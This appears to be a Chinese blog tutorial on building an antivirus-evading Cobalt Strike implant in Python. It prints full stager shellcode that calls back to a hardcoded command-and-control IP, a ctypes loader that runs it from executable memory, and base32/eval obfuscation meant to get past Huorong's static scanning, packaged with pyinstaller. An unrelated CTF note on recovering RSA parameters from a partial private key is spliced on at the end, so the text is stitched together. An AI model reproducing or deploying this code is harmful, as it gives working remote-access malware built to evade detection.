0%

shellcode和loader

shellcode是一段用于利用软件漏洞而执行的代码

shellcodeloader是用来运行此代码的加载器

简单来说,shellcode和loader组成了一把完整的枪,前者是子弹,后者是枪身

shellcode

一般来说我们可以用cs直接生成payload,这里我是选择以python为特定编程语言的代码

1
2
# length: 891 bytes
buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\xbe\x15\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x68\x58\x4e\x4f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x29\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x2e\x31\x32\x2e\x32\x34\x33\x2e\x31\x35\x31\x00\x00\x00\x00\x00"

这一长串\xfc样式的hex代码,就是shellcode,这里shellcode的具体原理暂且不谈,光有子弹不行,还要有枪身所以我们需要一个加载器Loader才能让他发挥作用

loader加载器

和前面一样shellcode的具体原理一样暂且不谈,这里只谈怎么用。

同现实的枪一样,手枪其实构造大差不差,除开左轮枪其他的样子都差不多,shellcodeloader也一样,我们只需要在网上找个demo来用就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ctypes





shellcode = bytearray(b'\xfc\x48.........')

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
                                          
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
                                     
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

ctypes库

上述demo中导入了ctypes模块,python的ctypes模块是内建,用来调用系统动态链接库函数的模块

使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数(因为windows系统是用c++其余部分由C和汇编编写的,c和c++一定程度上兼容,所以导入此模块)

读取shellcode

1
shellcode = bytearray('\xfc\x48.........')

设置返回类型

我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同

想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位

1
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数,来申请一块动态内存区域。

1
2
3
4
5
6
7
VirtualAlloc函数原型和参数如下
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect     #该内存的初始保护属性
};

申请一块内存可读可写可执行

1
2
3
4
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

参数解释:
ctypes.c_int(0):是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整

ctypes.c_int(len(shellcode)): 以字节为单位分配或者保留多大区域

ctypes.c_int(0x3000):是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并

ctypes.c_int(0x40):是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。

将shellcode载入内存

调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。

RtlMoveMemory函数原型和参数如下

1
2
3
4
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

1
2
3
4
5
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下

1
2
3
4
5
6
7
8
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,          #向线程函数传递的参数
DWORD dwCreationFlags,       #线程创建属性
LPDWORD lpThreadId           #保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

1
2
3
4
5
6
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

参数解释:
lpThreadAttributes:为NULL使用默认安全性

dwStackSize:为0,默认将使用与调用该函数的线程相同的栈空间大小

lpStartAddress: 为ctypes.c_uint64(ptr),定位到申请的内存所在的位置

lpParameter: 不需传递参数时为NULL

dwCreationFlags: 属性为0,表示创建后立即激活

lpThreadId: 为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL

等待线程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject函数原型和参数如下:

1
2
3
4
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds  #定时时间间隔
);

等待创建的线程运行结束

1
2
3
ctypes.windll.kernel32.WaitForSingleObject(
                                           ctypes.c_int(handle),
                                           ctypes.c_int(-1))

这里两个参数,一个是创建的线程,一个是等待时间,当线程退出时会给出一个信号,函数收到后会结束程序。当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
loader原理:申请一块内存,将shellcode写入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。

写一个小demo进行打包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import ctypes
import base64







def main():
    # length: 891 bytes
    shellcode = b'\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52' \
                b'\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0' \
                b'\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b' \
                b'\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67' \
                b'\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48' \
                b'\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24' \
                b'\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49' \
                b'\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83' \
                b'\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77' \
                b'\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48' \
                b'\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb' \
                b'\x73\x5a\x48\x89\xc1\x41\xb8\xbe\x15\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba' \
                b'\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00' \
                b'\x02\x60\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48' \
                b'\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff' \
                b'\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00' \
                b'\x00\xe8\xa2\xff\xff\xff\x2f\x57\x63\x59\x4a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74' \
                b'\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c' \
                b'\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20' \
                b'\x35\x2e\x31\x29\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' \
                b'\x00\x00\x00\x00\x00\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8' \
                b'\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89' \
                b'\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5' \
                b'\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00' \
                b'\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x2e\x31\x32\x2e\x32\x34\x33\x2e\x31\x35\x31\x00\x00' \
                b'\x00\x00\x00'

    shellcode = bytearray(shellcode)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                            ctypes.c_int(len(shellcode)),
                                            ctypes.c_int(0x3000),
                                            ctypes.c_int(0x40))
                                           
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    # ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
    eval(base64.b32decode("MN2HS4DFOMXHO2LOMRWGYLTLMVZG4ZLMGMZC4UTUNRGW65TFJVSW233SPEUGG5DZOBSXGLTDL52WS3TUGY2CQ4DUOIUSYYTVMYWGG5DZOBSXGLTDL5UW45BINRSW4KDTNBSWY3DDN5SGKKJJFE======"))                                    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.c_uint64(ptr),
                                            ctypes.c_int(0),
                                            ctypes.c_int(0),
                                            ctypes.pointer(ctypes.c_int(0)))

    # ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
    eval(base64.b32decode("MN2HS4DFOMXHO2LOMRWGYLTLMVZG4ZLMGMZC4V3BNF2EM33SKNUW4Z3MMVHWE2TFMN2CQY3UPFYGK4ZOMNPWS3TUFBUGC3TENRSSSLDDOR4XAZLTFZRV62LOOQUC2MJJFE======"))

if __name__ == '__main__':
    main()

静态免杀

以上demo已经初具成型,但是我们最终还要打包为exe(独立可执行文件)文件,才能在windows系统上线,所以这里我们可以用pyinstaller工具

安装

1
pip install pyinstaller

然后输入打包命令

前者为文件名,后者加密密钥自己设置

1
pyinstaller -F xxx.py  --key password

这个时候如果电脑装有一些杀毒软件的话,但你的马并没做免杀,那么打包还未完成就会提示这个

图片

(如果用上述第一个demo基本就会是这种结果)

所以我们就需要进行一些改造

改造方法

很明显马由shellcode和loader组成,那么我们就主要从这俩方面入手

一般来说有加解密和编码shellcode还要改造loader,但为了简单入门,从loader入手

在第一个demo中,存在一段代码

1
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))

我们如果将其进行base64编码,并将编码后的内容用python内置函数eval或者exec进行调用

1
2
#ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
eval(base64.b32decode("MN2HS4DFOMXHO2LOMRWGYLTLMVZG4ZLMGMZC4UTUNRGW65TFJVSW233SPEUGG5DZOBSXGLTDL52WS3TUGY2CQ4DUOIUSYYTVMYWGG5DZOBSXGLTDL5UW45BINRSW4KDTNBSWY3DDN5SGKKJJFE======"))

(上述例子其实并不是这么单个操作,有多处编码后就行了,我只是举个例子)那么就能绕过火绒静态查杀

图片

但之后上线时就被杀了,之后还要研究下过动态查杀。

这里把火绒退了,直接上线cs,一切正常

图片

首先题目给了部分私钥,是pem格式文件给的,但是只给了部分

这里肯定不是直接用私钥读取的脚本一把梭的。但还是贴一个

1
2
3
4
5
6
7
8
from Crypto.PublicKey import RSA
with  open ("private.pem",'rb') as f:
    key = RSA.import_key(f.read())
    print('n = %d' % key.n)
    print('e = %d' % key.e)
    print('d = %d' % key.d)
    print('p = %d' % key.p)
    print('q = %d' % key.q)

所以只能从私钥文件入手,找到一篇文章
https://blog.csdn.net/he25819/article/details/119467334

按照文章,先给出的私钥内容进行编码转换

图片

可得到一些hex也就是十六进制表示的信息

在文章中可以知道

PKCS#1形式的私钥结构

RFC 2347中,我们可以得到RSA私钥的ASN.1定义,如下:

1
2
3
4
5
6
7
8
9
10
11
RSAPrivateKey ::= SEQUENCE {
 version Version,
 modulus INTEGER, -- n
 publicExponent INTEGER, -- e
 privateExponent INTEGER, -- d
 prime1 INTEGER, -- p
 prime2 INTEGER, -- q
 exponent1 INTEGER, -- d mod (p-1)
 exponent2 INTEGER, -- d mod (q-1)
 coefficient INTEGER -- (inverse of q) mod p 
}

也就是说一个正常的私钥文件,其中应该会包含以上要素
那么这些元素所对应的hex应该是这样(举例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
30 82 04 A2 
    02 01 
        00 
    02 82 01 01 
        00 9C B7 68 03 76 DA E7 B6 07 04 07 A7 61 B2 C6 4D C7 42 E3 C5 55 BD 55 43 5D 5E 8D FD 6F B5 17 3B 41 46 3B CD 3D 5D 43 30 E7 08 24 1A EF 79 39 60 2A E8 36 3C 25 72 9D A2 2D B5 A3 6A 97 AA 7F F8 19 B8 1B 8D 64 C9 96 32 ED 14 9A 50 26 89 DE BC A3 71 7B 0A 7C 29 6D 9C 6F 6F 0B 06 C8 37 E6 D5 72 1C 51 CE 3E F7 F7 32 00 D6 D0 47 9F DB F6 D8 F8 45 70 47 EC 48 0C B6 1B 61 30 33 86 D0 DF C9 F6 52 B3 2C 7B DC 1B 2D 41 93 D2 4C F2 AA EC 0F 42 CE EF AE 25 3E D5 70 64 AD DB 2C A0 0A 9B C2 05 B9 C9 4A B1 0E 8B 18 07 98 7B 0F 56 13 5B 4A 8A 90 9E 8F 3C D9 CB 5D B3 2F D8 C7 B2 8F 1A B5 B1 B5 A8 17 F9 BC B9 BA 1A 2A 49 6A 6A 5D 5E A7 95 2A 4E 9F 4E 14 D3 9A 4E B5 72 5D 8E 06 92 DE F0 AB 73 A8 36 F9 3D D9 C2 75 7C 7C FD C2 7A E2 1A 8F A8 36 EB 7D 81 0A F5 59 58 CE CD 19 00 C3 
    02 03 
        01 00 01 
    02 82 01 00 
        31 56 2C 10 AB 22 4F 40 27 05 45 C3 94 26 4B F7 C0 7B 76 69 71 8C A1 83 0B A9 F0 D9 90 89 5A 3E F5 55 BF 0D E5 FB AE 63 7E D8 39 45 A1 8E 70 59 AE 28 5C AA A2 BF 6A 90 DC 03 0A E7 4B C8 09 71 79 E7 54 05 37 6D 9F 33 79 1F BB 54 F0 4D 07 2A 2B EA 55 E9 FF 1C AB BD 4B F7 91 69 19 2F 40 24 82 40 18 20 EE 01 F2 78 73 7B 2D 26 DF 54 C8 69 95 FF 86 51 9E 39 30 87 44 27 5C 9D 5C 1B F5 D7 88 D4 9D E0 AD 0F 3C B0 A2 EC C8 A6 ED 60 CB DE 44 F9 B7 73 D8 29 4F 38 8C 24 91 29 56 B8 E0 94 0A E2 22 27 5B A4 51 90 BE A9 0E 66 EB A1 5C 68 93 D4 25 64 E3 97 B0 56 E1 9F 07 B6 AD 3F 5E 92 66 BB CC AC 4E 80 46 52 D7 3A 57 0D 52 E5 E9 49 37 62 F7 2E C0 0D C3 92 A6 A6 F6 0F D7 9F 1B 98 3E 20 8E F5 67 ED 19 A9 70 F0 82 F4 73 05 B8 30 01 5E 55 01 64 4E 29 BE 84 0A 38 BD EB F2 27 C1 
    02 81 81 
        00 D0 8E EF 5F F7 98 86 28 CC 96 71 53 0A 4D BB 84 02 68 0A E7 19 C6 82 7C 7F E4 F4 44 FB EF 6C 39 33 C1 33 F4 1A 28 72 A6 F3 32 09 6A 3A CD 25 3C A0 C1 28 96 87 2D 52 97 51 D5 9D 63 3A 74 73 D6 13 7B 60 A7 38 F3 84 D3 9D 2B 6E A4 71 DE 65 7F 5A 8F 0D 46 9F 2B F5 B0 64 83 F8 95 56 84 7B BF 04 DF 18 FD 0D DB 2A 55 15 2D 71 54 52 AC BD 19 45 2E 0B 84 AB BD 86 69 AE C0 BC 45 4C 31 4B CD 
    02 81 81 
        00 C0 5D 8A 29 17 C5 32 BF 92 B3 94 F1 B1 79 90 3E CE F1 B5 42 BB 4C F4 22 1B CF FB AD 46 92 9B AB 9E 60 73 12 EB 53 84 AC D5 58 7B F7 F7 56 63 FD 3B F1 18 8D 4B 67 BB 98 CB 4A D4 62 B8 5A 08 A0 38 E6 F4 74 7C 56 33 2C 99 38 A5 AB F0 83 C9 06 78 98 18 B9 F8 81 C9 5C 6F E1 82 A1 A1 D5 08 D6 BE 20 90 CA D6 E5 79 F9 DF E1 A7 A2 B0 1E D5 6F F9 3C 68 96 24 29 06 16 22 DA 2A 48 86 F5 8E CF 
    02 81 80 
        57 C2 EE 24 1A 12 8A D1 FC 55 8A 56 81 4D 78 8C F2 5E 49 C8 39 E6 78 DE 5F 0B 3F 67 10 05 0E 2B 7C 05 DF 10 E7 39 02 16 12 DC 89 6D B4 54 C3 48 A1 F4 E6 59 81 84 A6 EE 9A 37 23 C5 AF C1 75 45 2E 69 8A A0 93 AC 95 C6 5E AA FA 22 24 F0 8B 11 6E 50 28 2C 01 AB 03 F6 38 35 F8 93 0F 17 2C E3 92 EF 36 9A B6 0B F5 E2 5B C9 05 99 90 38 B4 52 3F F4 42 50 8F DC 6F 05 65 CE 20 EB A0 46 56 39 
    02 81 80 
        02 70 6D 33 0E 31 1A EE A0 EE 94 01 E8 8D 31 0E 0A D3 B7 C7 AB D6 52 F6 27 C2 20 5F D7 18 3E CF 13 48 07 CD 82 9C 61 7F 4B 89 3E B1 2B 3A B6 33 DC D1 B6 CC FB DA C9 DF 2B 1C BC CA AF A9 BC 98 43 80 72 33 13 EC 87 E3 95 E1 C9 00 00 21 BB A7 D0 59 A5 5E 9E 4F 0E FD 94 11 98 F5 71 B6 E0 D0 D0 42 5B 73 A6 FB EB EB 06 32 B7 4C 71 CD 42 49 94 30 76 E7 08 78 58 B2 69 28 B9 06 88 67 8E B3 
    02 81 80 
        0F 6D 4D 97 25 5A BC 9D F9 B4 4D FF AF 56 09 44 1A D6 CE 8D 27 AA B3 F8 D1 D3 E3 3B B2 77 D4 5A 45 6F DA 62 C3 1D B4 C9 AE 19 84 72 A4 91 A5 F1 5B F3 D6 BC 71 E9 FA 99 BD D5 03 E6 65 78 25 AE CD A8 5B 77 1F 15 60 AC 5F AA 7F C0 29 91 A1 9C 44 91 8B 82 9C 02 4C 4E 73 9A 6D 90 31 44 28 BA ED 5D 7D 1B 6E 4D E2 EB 66 C9 0B 49 FE A5 E7 7E 63 57 D9 BC 67 43 13 1D 26 CF 92 FD 17 74 77 5B 

那我们可以发现028181以及028180这两者是分隔符,放到我们的题目来说
可以发现这些信息

根据私钥文件格式,从下到上依次为: q在modp意义下的逆元,dq,dp ,q

也就是

1
2
3
4
5
q=0xd46083c954cc3e6dda2135c2b3adcdea4e08218d9937a825c900aebb0e58145b27b53de45272f69cfb6de1261fc5297e08ed12b1d74402cbcde2a1aca7f5f27b0783662cbcae73483d78f60fa23e12f524f8bfc7606775c60c801ba270c47b799e7d8c356cef6b042cbfb9b6cba752cbeee7554768d8be27044b1cc39ed96819
dp=0x29b09a5194750e2b76ce488891e83b59009d69d167546a3214e18d94360b481e25044e6daa75df533422a93ccc9d89b29e3d5584168e177bb0e20296c73901686bc3860955a362ec32b70431072ff2ea91619ff9d18e320dcc9ab35461b0327c3eb54939ea26ef17f93ff1970a520e9ad9a21679daf8dcee09d7b1b4566713e1
dq=0xcdf941375d57ad608b42d44a1e4b7dbf35a8eb29d2a4c91ec4603616d32597b084c561de741c6d93f8c22baff6f61874d52160953cab086f33220f1d4dd4da347a27f54b843f492d91f923e42bbd3a53a964db52f9ebbdacb3e8f764472c3878cebf02e1b9e2460f497b3519d550559bd5fb64991a55c3ae419abbadf9fceed9
inv_q_mode=0x8272ad1401043aae94a928336d84933ec8291e5432f19033241661ba97af0715c54328e5e940832927834af8e0a479e021511dae99bcc46987a5a60685dbd4057dd1985bf9c20fcb85be58fda32edd3a6fda1872b26bf5b610f9b6ce68448c0aae5d1996b40fc9b9d82c7322c64cb947d249a2146ff039a0a75e5a7c9e0f1077
